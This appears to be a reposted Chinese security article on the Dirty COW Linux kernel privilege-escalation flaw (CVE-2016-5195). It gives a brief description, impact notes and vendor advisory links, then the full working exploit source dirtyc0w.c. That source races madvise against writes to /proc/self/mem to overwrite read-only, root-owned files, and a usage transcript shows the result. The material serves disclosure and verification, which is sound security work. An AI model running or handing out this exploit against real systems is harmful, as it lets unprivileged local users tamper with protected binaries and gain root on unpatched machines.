开发者社区> 晚来风急> 正文

Linux内核出现本地提权漏洞 CVE-2016-5195 2007年以后的版本都可能受到影响

简介:
+关注继续查看

Dirty Cow (CVE-2016-5195) 是 Linux Kernel 中的一个权限提升漏洞。Linux 内核内存子系统处理私有只读存储器映射的写入时复制 (COW) 机制被发现了一个冲突条件。这个漏洞存在于 2.6.22以后的版本 (在 2007 年发布),已经在 2016 年 10 月 18 日修复。

该漏洞影响

  • 没有权限的本地用户可以使用此漏洞获取写访问权限,修改只读内存映射,从而增加他们在系统上的特权。
  • 该漏洞允许攻击者使用本地系统帐户修改磁盘上的二进制文件,绕过标准的权限机制,这些权限机制通常用于防止修改没有适当的权限集。

Dirty%20COW%20CVE-2016-5195.png

Debian及Redhat分别就此漏洞发布公告

Debian漏洞公告

Debian: https://security-tracker.debian.org/tracker/CVE-2016-5195

​Redhat漏洞公告

Redhat: https://access.redhat.com/security/cve/cve-2016-5195

更多内容请查阅:

https://bugzilla.redhat.com/show_bug.cgi?id=1384344

http://seclists.org/bugtraq/2016/Oct/43

脏牛Dirty COW漏洞验证

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;

}




原文发布时间:2017年3月24日
本文由:安全加 发布,版权归属于原作者
原文链接:http://toutiao.secjia.com/linux-kernel-local-rights-loophole-cve-2016-5195
本文来自云栖社区合作伙伴安全加,了解相关信息可以关注安全加网站

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Linux提权备忘录
Linux提权备忘录
24 0
Linux提权总结
Linux提权总结
36 0
【墨菲安全实验室】“Dirty Pipe”的故事-Linux 内核提权漏洞
【墨菲安全实验室】“Dirty Pipe”的故事-Linux 内核提权漏洞
36 0
【Linux技术专题系列】「必备基础知识」一起探索(su、sudo等相关身份提权/身份切换机制)
【Linux技术专题系列】「必备基础知识」一起探索(su、sudo等相关身份提权/身份切换机制)
50 0
17 linux 提权
linux-全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,是一个基于POSIX的多用户、多任务、友持多线程和多CPU的操作系统。能运行主要的Unix工具软件、应用程序和网络协议。支持32位和64位硬件。Linux继承了Unix认闷经为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux有上百种不同的发行版,如基于社区开发的debian.archlinux,和基于商业开发的RedHat Enterprise Linux,SUSE,Oracle Linux等。
53 0
linux提权
linux提权的文章,多多指点
52 0
Linux培训/考试环境安装 | sudo提权 | cron周期命令
Linux培训/考试环境安装 | sudo提权 | cron周期命令
96 0
Linux 管理本地用户组 | sudo提权
Linux 管理本地用户组 | sudo提权
77 0
Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)
Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)
175 0
Linux su命令 – 切换用户、用户提权
su命令用于切换当前用户身份到指定用户或者以指定用户的身份执行命令或程序。 普通用户切换到root用户,可以使用su -- 或su root,但是必须输入root密码才能完成切换。root用户切换到普通用户,可以使用su username,不需要输入任何密码即可完成切换。
60 0
+关注
文章
问答
文章排行榜
最热
最新
相关电子书
更多
Decian GNU/Linux安全合规之路
立即下载
从 Linux 系统内核层面来解决实际问题的实战经验
立即下载
冬季实战营第二期:Linux操作系统实战入门
立即下载